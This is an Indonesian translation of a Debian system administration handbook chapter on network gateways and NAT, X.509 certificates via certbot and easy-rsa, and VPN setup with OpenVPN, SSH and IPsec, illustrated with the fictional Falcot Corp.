Banyak program yang tidak menangani sendiri paket-paket individu, walaupun data yang mereka transmisikan berjalan melalui IP; mereka sering memakai TCP (Transmission Control Protocol). TCP adalah suatu lapisan di atas IP yang mengizinkan terjalinnya koneksi yang didedikasikan ke stream data antara dua titik. Program kemudian hanya melihat suatu titik masuk tempat data diasupkan dengan garansi bahwa data yang sama keluar tanpa ada kehilangan (dan dalam urutan yang sama) di titik keluar di ujung lain koneksi. Walaupun banyak jenis kesalahan dapat terjadi dalam lapisan-lapisan yang lebih rendah, mereka dikompensasi oleh TCP: paket hilang dipancarkan ulang, dan paket yang datang tak berurut (sebagai contoh, bila mereka memakai path yang berbeda) diurutkan ulang secara tepat.

Protokol lain yang mengandalkan IP adalah UDP (User Datagram Protocol). Berbeda dengan TCP, ini berorientasi paket. Sasarannya berbeda: tujuan UDP hanya untuk mentransmisikan satu paket dari sebuah aplikasi ke lainnya. Protokol tidak mencoba mengkompensasi kemungkinan kehilangan paket di jalan, maupun tidak memastikan bahwa paket diterima dalam urutan yang sama dengan saat dikirim. Keuntungan utama atas protokol ini adalah latensinya jauh lebih baik, karena kehilangan satu paket tidak menunda penerimaan semua paket yang mengikuti sampai satu yang hilang ditransmisikan ulang.

TCP dan UDP keduanya melibatkan port, yang merupakan “nomor ekstensi” untuk menjalin komunikasi dengan suatu aplikasi pada sebuah mesin. Konsep ini mengizinkan menjaga beberapa komunikasi yang berbeda secara paralel dengan korespondensi yang sama, karena komunikasi ini dapat dibedakan menurut nomor portnya.

Beberapa dari nomor port ini — distandarkan oleh IANA (Internet Assigned Numbers Authority) — "dikenal baik" berasosiasi dengan layanan-layanan jaringan. Sebagai contoh, TCP port 25 biasanya dipakai oleh server surel.

→ https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml

Ketika suatu jaringan lokal memakai sebuah rentang alamat privat (yang tidak dapat di-route di Internet), gateway perlu mengimplementasikan masquerading alamat sehingga mesin-mesin pada jaringan dapat berkomunikasi dengan dunia luar. Operasi masquerading adalah semacam proksi yang beroperasi pada level jaringa: setiap koneksi arah luar dari suatu mesin internal digantikan dengan suatu koneksi dari gateway itu sendiri (karena gateway memiliki alamat eksternal, yang dapat di-route), data yang melalui koneksi yang di-masquerade dikirim ke yang baru, dan data yang kembali dalam jawaban dikirim melalui koneksi yang di-masquerade ke mesin internal. Gateway memakai suatu rentang port TCP yang terdedikasi untuk tujuan ini, biasanya dengan nomor sangat tinggi (di atas 60000). Setiap koneksi yang datang dari suatu mesin internal kemudian muncul ke dunia luar sebagai suatu koneksi yang datang dari salah satu port yang dicadangkan ini.

KULTUR Rentang alamat privat

RFC 1918 mendefinisikan tiga rentang alamat IPv4 yang tidak dimaksudkan untuk di-route di Internet tapi hanya dipakai di jaringan lokal. Yang pertama, 10.0.0.0/8 (lihat bilah sisi KEMBALI KE DASAR Konsep penting jaringan (Ethernet, alamat IP, subnet, broadcast)), adalah suatu rentang kelas-A (dengan 2^24 alamat IP). Yang kedua, 172.16.0.0/12, mengumpulkan 16 rentang kelas-B (172.16.0.0/16 sampai 172.31.0.0/16), masing-masing memuat 2^16 alamat IP. Akhirnya, 192.168.0.0/16 adalah suatu rentang kelas-B (mengelompokkan 256 rentang kelas-C, 192.168.0.0/24 sampai 192.168.255.0/24, masing-masing dengan 256 alamat IP).

→ http://www.faqs.org/rfcs/rfc1918.html

Gateway juga bisa melaksanakan dua macam network address translation (atau NAT). Jenis pertama, Destination NAT (DNAT) adalah suatu teknik yang mengubah alamat IP tujuan (dan/atau port TCP atau UDP) (umumnya) untuk suatu koneksi masuk. Mekanisme pelacakan koneksi juga mengubah paket-paket yang mengikuti dalam koneksi yang sama untuk memastikan keberlangsungan dalam komunikasi. NAT jenis kedua adalah Source NAT (SNAT), dimana masquerading adalah suatu kasus khusus; SNAT mengubah alamat IP sumber (dan/atau port TCP atau UDP) (umumnya) dari suatu koneksi keluar. Seperti pada DNAT, semua paket dalam koneksi secara tepat ditangani oleh mekanisme pelacakan koneksi. Perhatikan bahwa NAT hanya relevan bagi IPv4 dan ruang alamatnya yang terbatas; dalam IPv6, ketersediaan luas dari alamat sangat mengurangi kebergunaan NAT dengan mengizinkan semua alamat "internal" dapat di-route secara langsung pada Internet (ini tidak mengimplikasikan bahwa mesin-mesin internal dapat diakses, karena firewal perantara dapat menyaring lalu lintas).

KEMBALI KE DASAR Penerusan port

Aplikasi konkrit DNAT adalah port forwarding. Koneksi masuk ke port tertentu dari suatu mesin diteruskan ke port pada komputer lain. Solusi lain mungkin ada untuk mencapai efek yang sama, terutama pada tingkat aplikasi dengan ssh (Lihat Bagian 9.2.1.3, “Menciptakan Tunnel Terenkripsi dengan Penerusan Port”) atau redir .

Teori cukup, mari kita praktek. Mengubah sistem Debian menjadi gateway adalah sekedar mengaktifkan opsi yang sesuai untuk kernel Linux, melalui sistem berkas virtual /proc/:

# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

Opsi ini dapat juga secara otomatis diaktifkan saat boot jika /etc/sysctl.conf menetapkan opsi net.ipv4.conf.default.forwarding ke 1.

Contoh 10.1. Berkas /etc/sysctl.conf

net.ipv4.conf.default.forwarding = 1

net.ipv4.conf.default.rp_filter = 1

net.ipv4.tcp_syncookies = 1

Efek yang sama dapat diperoleh untuk IPv6 hanya dengan mengganti ipv4 dengan ipv6 dalam perintah manual dan menggunakan net.ipv6.conf.all.forwarding dalam /etc/sysctl.conf.

Mengaktifkan masquerading IPv4 adalah operasi yang sedikit lebih kompleks yang melibatkan konfigurasi netfilter firewall.

Demikian pula dengan menggunakan NAT (untuk IPv4) membutuhkan konfigurasi netfilter. Karena tujuan utama komponen ini adalah penyaringan paket, rinciannya tercantum dalam Bab 14: “Keamanan” (Lihat Bagian 14.2, “Firewall atau Penyaringan Paket”).

10.2. setifikat X.509

Sertifikat adalah blok bangunan penting dari banyak layanan jaringan yang dibangun di atas protokol kriptografi, ketika mereka membutuhkan semacam otentikasi pusat.

Di antara protokol-protokol tersebut, SSL (Secure Socket Layer) diciptakan oleh Netscape untuk mengamankan koneksi ke server-server web. Itu kemudian distandarkan oleh IETF dengan singkatan TLS (Transport Layer Security). Sejak itu TLS terus berkembang dan saat ini SSL usang karena beberapa cacat desain yang telah ditemukan.

Protokol TLS bertujuan terutama untuk memberikan privasi dan integritas data antara dua atau lebih aplikasi komputer yang berkomunikasi. Kasus yang paling umum di Internet adalah komunikasi antara klien (misalnya peramban web) dan server.

Sepasang kunci diperlukan untuk pertukaran informasi, yang melibatkan kunci publik yang mencakup informasi tentang identitas pemilik dan cocok dengan sebuah kunci privat. Kunci privat harus dirahasiakan, jika tidak, keamanannya akan terkompromi. Namun, siapapun dapat mencipta suatu pasangan kunci, menyimpan sebarang identitas padanya, dan menyaru menjadi identitas pilihan mereka. Satu solusi melibatkan konsep Certification Authority (CA), diformalkan oleh standar X.509. Istilah ini mencakup suatu entitas yang menyimpan suatu pasangan kunci terpercaya yang dikenal sebagai sertifikat root. Sertifikat ini hanya dipakai untuk menandatangani sertifikat lain (pasangan kunci), setelah langkah-langkah yang tepat dilaksanakan untuk memeriksa identitas yang disimpan dalam pasangan kunci. Aplikasi-aplikasi yang memakai X.509 kemudian dapat memeriksa sertifikat yang disajikan ke mereka, bila mereka tahu tentang sertifikat root yang terpercaya.

Anda dapat mengimplementasikan CA (seperti yang dijelaskan di Bagian 10.2.2, “Infrastruktur Kunci Publik: easy-rsa”), tetapi jika Anda berniat untuk menggunakan sertifikat untuk situs web, Anda harus mengandalkan CA tepercaya. Harga bervariasi secara signifikan, tetapi dimungkinkan untuk menerapkan keamanan yang baik dengan mengeluarkan sedikit uang atau gratis.

10.2.1. Membuat sertifikat tepercaya yang gratis

Banyak program membuat dan menggunakan sertifikat snakeoil secara default (lihat sidebar KEAMANAN Sertifikat SSL Snake oil). Untungnya paket certbot membawa semua yang kita butuhkan untuk membuat sertifikat tepercaya kita sendiri, yang disediakan oleh inisiatif "Lets Encrypt" (lihat sidebar KULTUR Inisiatif Let's Encrypt), yang juga dapat digunakan untuk agen transpor surat (Postfix) dan agen pengiriman surat (Dovecot, Cyrus, dll.).

Administrator Falcot hanya ingin membuat sertifikat untuk situs web mereka, yang berjalan di Apache. Ada plugin Apache yang nyaman untuk certbot yang secara otomatis menyunting konfigurasi Apache untuk menyajikan sertifikat yang diperoleh, jadi mereka memanfaatkannya:

# apt install python-certbot-apache

[...]

# certbot --apache

Saving debug log to /var/log/letsencrypt/letsencrypt.log

Plugins selected: Authenticator apache, Installer apache

Enter email address (used for urgent renewal and security notices) (Enter 'c' to

cancel): admin@falcot.com

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Please read the Terms of Service at

https://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must

agree in order to register with the ACME server at

https://acme-v02.api.letsencrypt.org/directory

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

(A)gree/(C)ancel: A

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Would you be willing to share your email address with the Electronic Frontier

Foundation, a founding partner of the Let's Encrypt project and the non-profit

organization that develops Certbot? We'd like to send you email about our work

encrypting the web, EFF news, campaigns, and ways to support digital freedom.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

(Y)es/(N)o: N

No names were found in your configuration files. Please enter in your domain

name(s) (comma and/or space separated)  (Enter 'c' to cancel): falcot.com

Obtaining a new certificate

Performing the following challenges:

http-01 challenge for falcot.com

Enabled Apache rewrite module

Waiting for verification...

Cleaning up challenges

Created an SSL vhost at /etc/apache2/sites-available/000-default-le-ssl.conf

Enabled Apache socache_shmcb module

Enabled Apache ssl module

Deploying Certificate to VirtualHost /etc/apache2/sites-available/000-default-le-ssl.conf

Enabling available site: /etc/apache2/sites-available/000-default-le-ssl.conf

Please choose whether or not to redirect HTTP traffic to HTTPS, removing HTTP access.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

1: No redirect - Make no further changes to the webserver configuration.

2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for

new sites, or if you're confident your site works on HTTPS. You can undo this

change by editing your web server's configuration.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Select the appropriate number [1-2] then [enter] (press 'c' to cancel): 2

Enabled Apache rewrite module

Redirecting vhost in /etc/apache2/sites-enabled/000-default.conf to ssl vhost in /etc/apache2/sites-available/000-default-le-ssl.conf

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Congratulations! You have successfully enabled https://falcot.com

You should test your configuration at:

https://www.ssllabs.com/ssltest/analyze.html?d=falcot.com

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

IMPORTANT NOTES:

- Congratulations! Your certificate and chain have been saved at:

/etc/letsencrypt/live/falcot.com/fullchain.pem

Your key file has been saved at:

/etc/letsencrypt/live/falcot.com/privkey.pem

Your cert will expire on 2020-06-04. To obtain a new or tweaked

version of this certificate in the future, simply run certbot again

with the "certonly" option. To non-interactively renew *all* of

your certificates, run "certbot renew"

- Your account credentials have been saved in your Certbot

configuration directory at /etc/letsencrypt. You should make a

secure backup of this folder now. This configuration directory will

also contain certificates and private keys obtained by Certbot so

making regular backups of this folder is ideal.

- If you like Certbot, please consider supporting our work by:

Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate

Donating to EFF:                    https://eff.org/donate-le

KULTUR Inisiatif Let's Encrypt

Inisiatif Let's Encrypt adalah upaya bersama untuk membuat otoritas sertifikat (CA) gratis, otomatis, dan terbuka, yang dijalankan untuk kepentingan publik. Ini didukung oleh EFF dan Linux Foundation. Inisiatif ini menyediakan alat otomatis untuk memperoleh dan memperbarui sertifikat. Ini mengurangi jumlah upaya manual yang terlibat, terutama jika beberapa situs dan domain harus dikelola. Sertifikat juga dapat digunakan untuk server SIP, XMPP, WebSocket, dan TURN. Penggunaan layanan memerlukan kontrol atas informasi DNS dari domain yang dimaksud (validasi domain).

→ https://letsencrypt.org/how-it-works/

Jika Anda lebih suka server tetap berjalan selama pembuatan sertifikat, Anda dapat menggunakan plugin webroot untuk mendapatkan sertifikat dengan argumen certonly dan --webroot. Anda harus menentukan --webroot-path (disingkat -w), yang harus berisi berkas yang disajikan. Perintahnya terlihat sebagai berikut:

# certbot certonly --webroot -w /var/www/html -d www.DOMAIN.com -d DOMAIN.com

Anda perlu memulai ulang semua layanan menggunakan sertifikat yang telah Anda buat.

Sertifikat yang dibuat disebut sertifikat umur pendek, yang berlaku selama 90 hari dan harus diperpanjang sekali setiap tiga bulan menggunakan perintah certbot renew. Namun, kita sebaiknya tidak memperbarui setiap sertifikat secara manual, tetapi secara otomatis. Pekerjaan cron dasar disertakan oleh certbot dalam /etc/cron.d/certbot. Untuk memastikan bahwa sertifikat dapat diperpanjang secara otomatis, Anda dapat mengeksekusi pembaruan certbot --dry-run.

10.2.2. Infrastruktur Kunci Publik: easy-rsa

Juga mungkin untuk membuat CA kita sendiri, untuk itu kita akan memakai algoritme RSA, yang banyak dipakai dalam kriptografi kunci publik. Ini melibatkan suatu "pasangan kunci", yang terdiri dari sebuah kunci privat dan publik. Kedua kunci terkait dekat satu sama lain, dan properti matematisnya sedemikian sehingga sebuah pesan yang dienkripsi dengan kunci publik hanya dapat didekripsi oleh seseorang yang mengetahui kunci privatnya, yang memastikan kerahasiaan. Pada arah yang berlawanan, sebuah pesan yang dienkripsi dengan kunci privatnya dapat didekripsi oleh siapapun yang mengetahui kunci publiknya, yang mengizinkan otentikasi asal-usul dari suatu pesan karena hanya seseorang yang punya akses ke kunci privat yang dapat membuatnya. Ketika dihubungkan dengan sebuah fungsi hash digital (MD5, SHA1, atau varian yang lebih terkini), ini mengarah ke suatu mekanisme tanda tangan yang dapat diterapkan ke sebarang pesan.

Karena CA publik hanya mengeluarkan sertifikat dengan biaya (yang mahal), juga dimungkinkan untuk membuat otoritas sertifikasi pribadi dalam perusahaan. Paket easy-rsa menyediakan alat untuk melayani sebagai infrastruktur sertifikasi X.509, diimplementasikan sebagai satu set skrip menggunakan perintah openssl .

ALTERNATIF GnuTLS

GnuTLS juga dapat digunakan untuk menghasilkan CA, dan menangani teknologi lain seputar protokol TLS, DTLS, dan SSL.

Paket gnutls-bin berisi utilitas baris perintah. Juga berguna untuk menginstal paket gnutls-doc, yang menyertakan dokumentasi ekstensif.

Para admin Falcot Corp memakai perkakas ini untuk membuat sertifikat-sertifikat yang diperlukan, untuk server dan klien. Ini memungkinkan konfigurasi semua klien serupa karena mereka hanya perlu menyiapkan agar mempercayai sertifkat yang datang dari CA lokal Falcot. CA ini adalah sertifikat pertama yang dibuat; sampai titik ini, para administrator menyiapkan sebuah direktori dengan berkas-berkas yang diperlukan bagi CA dalam suatu lokasi yang sesuai, lebih disukai pada sebuah mesin yang tidak tersambung ke jaringan untuk memitigasi risiko kunci privat CA dicuri.

$ make-cadir pki-falcot

$ cd pki-falcot

Mereka kemudian menyimpan parameter-parameter yang diperlukan ke dalam berkas vars, yang dapat disunting:

$ vim vars

$ grep EASYRSA vars

if [ -z "$EASYRSA_CALLER" ]; then

# easyrsa.  More specific variables for specific files (e.g., EASYRSA_SSL_CONF)

#set_var EASYRSA "${0%/*}"

#set_var EASYRSA_OPENSSL "openssl"

#set_var EASYRSA_OPENSSL "C:/Program Files/OpenSSL-Win32/bin/openssl.exe"

#set_var EASYRSA_PKI "$PWD/pki"

#set_var EASYRSA_DN "cn_only"

#set_var EASYRSA_REQ_COUNTRY "FR"

#set_var EASYRSA_REQ_PROVINCE "Loire"

#set_var EASYRSA_REQ_CITY "Saint-Étienne"

#set_var EASYRSA_REQ_ORG "Falcot Corp"

#set_var EASYRSA_REQ_EMAIL "admin@falcot.com"

#set_var EASYRSA_REQ_OU "Certificate authority"

#set_var EASYRSA_KEY_SIZE 2048

#set_var EASYRSA_ALGO rsa

#set_var EASYRSA_CURVE secp384r1

#set_var EASYRSA_CA_EXPIRE 3650

#set_var EASYRSA_CERT_EXPIRE 1080

#set_var EASYRSA_CERT_RENEW 30

#set_var EASYRSA_CRL_DAYS 180

#set_var EASYRSA_NS_SUPPORT "no"

#set_var EASYRSA_NS_COMMENT "Easy-RSA Generated Certificate"

#set_var EASYRSA_TEMP_FILE "$EASYRSA_PKI/extensions.temp"

# when undefined here, default behaviour is to look in $EASYRSA_PKI first, then

# fallback to $EASYRSA for the 'x509-types' dir.  You may override this

#set_var EASYRSA_EXT_DIR "$EASYRSA/x509-types"

# EASYRSA_PKI or EASYRSA dir (in that order.) NOTE that this file is Easy-RSA

#set_var EASYRSA_SSL_CONF "$EASYRSA/openssl-easyrsa.cnf"

#set_var EASYRSA_REQ_CN "ChangeMe"

#set_var EASYRSA_DIGEST "sha256"

#set_var EASYRSA_BATCH ""

$

Sekarang kita siapkan direktori infrastruktur kunci publik dengan perintah berikut:

$ ./easyrsa init-pki

Note: using Easy-RSA configuration from: ./vars

init-pki complete; you may now create a CA or requests.

Your newly created PKI dir is: /home/roland/pki-falcot/pki

Langkah berikutnya adalah penciptaan pasangan kunci CA (dua bagian dari pasangan kunci akan disimpan di bawah pki/ca.crt dan pki/private/ca.key selama langkah ini). Kita dapat menambahkan opsi nopass untuk menghindari memasukkan sandi setiap kali kunci pribadi digunakan:

$ ./easyrsa build-ca nopass

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1b  26 Feb 2019

Generating RSA private key, 2048 bit long modulus (2 primes)

......................................................................................+++++

......................+++++

e is 65537 (0x010001)

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Common Name (eg: your user, host, or server name) [Easy-RSA CA]:

CA creation complete and you may now import and sign cert requests.

Your new CA certificate file for publishing is at:

/home/roland/pki-falcot/pki/ca.crt

Sertifikat sekarang dapat dibuat, maupun parameter Diffie-Hellman yang diperlukan untuk koneksi SSL/TLS sisi server. Mereka ingin memakainya bagi Server VPN (lihat bagian Bagian 10.3, “Virtual Private Network”) yang diidentifikasi oleh nama DNS vpn.falcot.com; nama ini digunakan kembali untuk berkas-berkas kunci yang dihasilkan (keys/vpn.falcot.com.crt bagi sertifikat publik, keys/vpn.falcot.com.key untuk kunci privat):

$ ./easyrsa gen-req vpn.falcot.com nopass

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1b  26 Feb 2019

Generating a RSA private key

.................................................................................+++++

........+++++

writing new private key to '/home/roland/pki-falcot/pki/private/vpn.falcot.com.key.E5c3RGJBUd'

-----

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Common Name (eg: your user, host, or server name) [vpn.falcot.com]:

Keypair and certificate request completed. Your files are:

req: /home/roland/pki-falcot/pki/reqs/vpn.falcot.com.req

key: /home/roland/pki-falcot/pki/private/vpn.falcot.com.key

$ ./easyrsa sign-req server vpn.falcot.com

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1b  26 Feb 2019

You are about to sign the following certificate.

Please check over the details shown below for accuracy. Note that this request

has not been cryptographically verified. Please be sure it came from a trusted

source or that you have verified the request checksum with the sender.

Request subject, to be signed as a server certificate for 1080 days:

subject=

commonName                = vpn.falcot.com

Type the word 'yes' to continue, or any other input to abort.

Confirm request details: yes

Using configuration from /home/roland/pki-falcot/pki/safessl-easyrsa.cnf

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

commonName            :ASN.1 12:'vpn.falcot.com'

Certificate is to be certified until Jun 14 10:44:44 2022 GMT (1080 days)

Write out database with 1 new entries

Data Base Updated

Certificate created at: /home/roland/pki-falcot/pki/issued/vpn.falcot.com.crt

$ ./easyrsa gen-dh

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1b  26 Feb 2019

Generating DH parameters, 2048 bit long safe prime, generator 2

This is going to take a long time

[…]

DH parameters of size 2048 created at /home/roland/pki-falcot/pki/dh.pem

Langkah berikut menciptakan sertifikat untuk klien VPN; satu sertifikat diperlukan untuk setiap komputer atau orang yang diizinkan untuk menggunakan VPN:

$ ./easyrsa build-client-full JoeSmith nopass

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1d  10 Sep 2019

Generating a RSA private key

.......................................................+++++

...........................+++++

writing new private key to '/root/pki-falcot/pki/private/JoeSmith.key.Tgr8kk0a6a'

-----

Using configuration from /root/pki-falcot/pki/safessl-easyrsa.cnf

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

commonName            :ASN.1 12:'JoeSmith'

Certificate is to be certified until Feb 20 04:52:43 2023 GMT (1080 days)

Write out database with 1 new entries

Data Base Updated

10.3. Virtual Private Network

Sebuah Virtual Private Network (disingkat VPN) adalah suatu cara untuk menyambung dua jaringan lokal yang berbeda melalui Internet melalui suatu tunnel; tunnel biasanya dienkripsi untuk kerahasiaan data. VPN sering dipakai untuk mengintegrasikan suatu mesin di lokasi jauh ke dalam suatu jaringan lokal perusahaan.

Beberapa perkakas menyediakan fungsionalitas ini. OpenVPN adalah suatu solusi yang efisien, mudah digelar dan dipelihara, berbasis SSL/TLS. Kemungkinan lain adalah memakai IPsec untuk mengenkripsi lalu lintas IP antara dua mesin; enkripsi ini transparan, yang berarti bahwa aplikasi yang berjalan pada host-host ini tidak perlu dimodifikasi untuk melibatkan VPN. SSH juga bisa menyediakan suatu VPN, selain fitur-fitur konvensionalnya. Terakhir, suatu VPN dapat dijalin memakai protokol PPTP Microsoft. Solusi-solusi lain ada, tapi di luar fokus buku ini.

10.3.1. OpenVPN

OpenVPN adalah perangkat lunak yang didedikasikan untuk menciptakan virtual private network. Penyiapannya melibatkan menciptakan antarmuka jaringan virtual VPN server dan klien; tun (untuk tunnel level IP) dan antarmuka tap (tunnel level terowongan) yang didukung. Dalam prakteknya, antarmuka tun akan paling sering digunakan kecuali ketika klien VPN yang dimaksudkan untuk diintegrasikan ke dalam jaringan lokal server melalui bridge Ethernet.

OpenVPN mengandalkan OpenSSL untuk semua kriptografi SSL/TLS dan fitur terkait (kerahasiaan, otentikasi, integritas, non-repudiation). Hal ini dapat dikonfigurasi dengan kunci pribadi bersama atau menggunakan sertifikat X.509 berdasarkan infrastuktur kunci publik. Konfigurasi terakhir ini sangat disukai karena memungkinkan fleksibilitas yang lebih besar ketika dihadapkan dengan meningkatnya jumlah pengguna roaming yang mengakses VPN.

10.3.1.1. Mengkonfigurasi Server OpenVPN

Setelah semua sertifikat sudah dibuat (ikuti instruksi dari Bagian 10.2.2, “Infrastruktur Kunci Publik: easy-rsa”), mereka perlu disalin bila diperlukan: kunci publik sertifikat root (pki/ca.crt) akan disimpan pada semua mesin (server dan klien) sebagai /etc/ssl/certs/Falcot_CA.crt. Sertifikat server hanya dipasang pada server (pki/issued/vpn.falcot.com.crt diletakkan di /etc/ssl/certs/vpn.falcot.com.crt, dan pki/private/vpn.falcot.com.key ke /etc/ssl/private/vpn.falcot.com.key dengan hak terbatas sehingga hanya administrator yang dapat membacanya), dengan parameter Diffie-Hellman terkait pki/dh.pem) dipasang ke /etc/openvpn/dh.pem. Sertifikat klien dipasang pada klien VPN terkait dengan cara serupa.

10.3.1.2. Mengkonfigurasi Server OpenVPN

Secara baku, skrip inisialisasi OpenVPN mencoba memulai semua virtual private network yang didefinisikan di dalam /etc/openvpn/*.conf. Maka menyiapkan suatu server VPN cukup dengan menyimpan suatu berkas konfigurasi yang terkait dalam direktori ini. Satu titik awal yang baik adalah /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz, yang mengarahkan ke sebuah server agak standar. Tentu saja, beberapa parameter perlu diadaptasi: ca, cert, key, dan dh perlu menjelaskan lokasi yang dipilih (masing-masing, /etc/ssl/certs/Falcot_CA.crt, /etc/ssl/vpn.falcot.com.crt, /etc/ssl/private/vpn.falcot.com.key, dan /etc/openvpn/dh.pem). Direktif server 10.8.0.0 255.255.255.0 mendefinisikan subnet yang akan dipakai oleh VPN; server memakai alamat IP pertama dalam rentang tersebut (10.8.0.1) dan sisa alamat dialokasikan ke klien.

Dengan konfigurasi ini, memulai OpenVPN membuat antarmuka jaringan virtual, biasanya dengan nama tun0. Namun, firewall seringkali dikonfigurasi pada waktu yang sama dengan antarmuka jaringan nyata, yang terjadi sebelum OpenVPN dimulai. Praktik yang baik menyarankan membuat suatu antarmuka jaringan virtual yang persisten, dan menata OpenVPN untuk memakai antarmuka yang telah dibuat ini. Lebih jauh ini mengizinkan pemilihan nama antarmuka. Perintah openvpn —mktun —dev vpn —dev-type tun membuat suatu antarmuka jaringan virtual bernama vpn dengan tipe tun; perintah ini dapat dengan mudah diintegrasikan dalam skrip konfigurasi firewall, atau dalam suatu direktif up dari berkas /etc/network/interfaces, atau aturan udev dapat ditambahkan ke perangkat tersebut. Berkas konfigurasi OpenVPN juga mesti diperbarui, dengan direktif dev vpn dan dev-type tun.

Kecuali ada tindakan lebih lanjut, klien VPN hanya dapat mengakses server VPN itu sendiri melalui alamat 10.8.0.1. Memberi akses untuk klien ke jaringan lokal (192.168.0.0/24), memerlukan penambahan direktif push route 192.168.0.0 255.255.255.0 ke konfigurasi OpenVPN sehingga klien VPN secara otomatis mendapatkan route yang memberi tahu mereka bahwa jaringan ini dapat dicapai melalui VPN. Lebih jauh, mesin-mesin pada jaringan lokal juga perlu diberitahu bahwa route ke VPN adalah melalui server VPN (ini secara otomatis berjalan ketika server VPN dipasang pada gateway). Alternatifnya, server VPN dapat dikonfigurasi untuk melaksanakan masquerading IP sehingga koneksi yang datang dari klien-klien VPN tampak seperti datang dari server VPN (lihat Bagian 10.1, “Gateway”).

10.3.1.3. Mengkonfigurasi Klien OpenVPN

Menyiapkan suatu klien OpenVPN juga memerlukan pembuatan suatu berkas konfigurasi dalam /etc/openvpn/. Sebuah konfigurasi standar dapat diperoleh dengan memakai /usr/share/doc/openvpn/examples/sample-config-files/client.conf sebagai titik awal. Direktif remote vpn.falcot.com 1194 menjelaskan alamat dan port server OpenVPN; ca, cert, dan key juga perlu diadaptasi untuk menjelaskan lokasi berkas-berkas kunc.

Bila VPN tidak akan dijalankan secara otomatis saat boot, atur direktif AUTOSTART ke none dalam berkas /etc/default/openvpn. Memulai atau menghentikan suatu koneksi VPN tertentu selalu mungkin dengan perintah systemctl start openvpn@nama dan systemctl stop openvpn@nama (dimana nama koneksi cocok dengan yang didefinisikan dalam /etc/openvpn/nama.conf).

Paket network-manager-openvpn-gnome berisi sebuah ekstensi untuk Network Manager (Lihat Bagian 8.2.5, “Konfigurasi Jaringan Otomatis untuk Pengguna Luar”) yang memungkinkan mengelola virtual private network OpenVPN. Hal ini memungkinkan setiap pengguna untuk mengkonfigurasi koneksi OpenVPN secara grafis dan untuk mengendalikan mereka dari ikon manajemen jaringan.

10.3.2. Virtual Private Network dengan SSH

Sebenarnya ada dua cara membuat sebuah virtual private network dengan SSH. Yang bersejarah melibatkan menjalin lapisan PPP atas link SSH. Metode ini dijelaskan dalam dokumen HOWTO:

→ https://www.tldp.org/HOWTO/ppp-ssh/

Metode kedua lebih baru, dan diperkenalkan dengan OpenSSH 4.3; sekarang mungkin bagi OpenSSH untuk membuat antarmuka jaringan virtual (tun*) pada kedua sisi dari koneksi SSH, dan antarmuka virtual ini dapat dikonfigurasi secara persis seolah mereka antarmuka fisik. Sistem tunnel pertama mesti difungsikan dengan menata PermitTunnel ke ”yes” dalam berkas konfigurasi server SSH (/etc/ssh/sshd_config). Ketika menjalin suatu koneksi SSH, pembuatan tunnel mesti diminta secara eksplisit dengan opsi -w any:any (any dapat digantikan dengan nomor peranti tun yang dikehendaki). Ini memerlukan pengguna memiliki hak administrator pada kedua sisi, sehingga dapat membuat peranti jaringan (dengan kata lain, koneksi mesti dijalin sebagai root).

Kedua metode untuk membuat sebuah virtual private network melalui SSH cukup sederhana. Namun, VPN yang mereka sediakan bukan yang paling efisien; khususnya, ia tidak menangani lalu lintas tingkat tinggi dengan sangat baik.

Penjelasannya adalah bahwa ketika suatu stack TCP/IP dienkapsulasi di dalam suatu koneksi TCP/IP (untuk SSH), protokol TCP dipakai dua kali, sekali untuk koneksi SSH dan sekali di dalam tunnel. Ini mengarah ke masalah, khususnya karena cara TCP menyesuaikan ke kondisi jaringan dengan mengubah tundaan waktu tunggu. Situs berikut menguraikan masalah tersebut secara lebih terrinci:

→ http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

Oleh karena itu, VPN melalui SSH harus dibatasi pada tunnel satu kali tanpa kendala kinerja.

10.3.3. IPsec

IPsec, meskipun merupakan standar dalam IP VPN, lebih rumit dalam implementasinya. Mesin IPsec itu sendiri terintegrasi dalam kernel Linux; bagian ruang pengguna yang diperlukan, alat kontrol dan konfigurasi, disediakan oleh paket libreswan atau paket strongswan. Di sini kami menjelaskan secara singkat opsi libreswan.

Pertama, kita menginstal paket libreswan. Secara konkret, /etc/ipsec.conf miliki setiap host berisi parameter untuk tunnel IPsec (atau Asosiasi Keamanan, dalam terminologi IPsec) yang diurus oleh host tersebut. Ada banyak contoh konfigurasi di /usr/share/doc/libreswan/, tetapi dokumentasi daring Libreswan memiliki lebih banyak contoh dengan penjelasan:

→ https://libreswan.org/wiki/

Layanan IPsec dapat dikontrol dengan systemctl; misalnya, systemctl start ipsec akan memulai layanan IPsec.

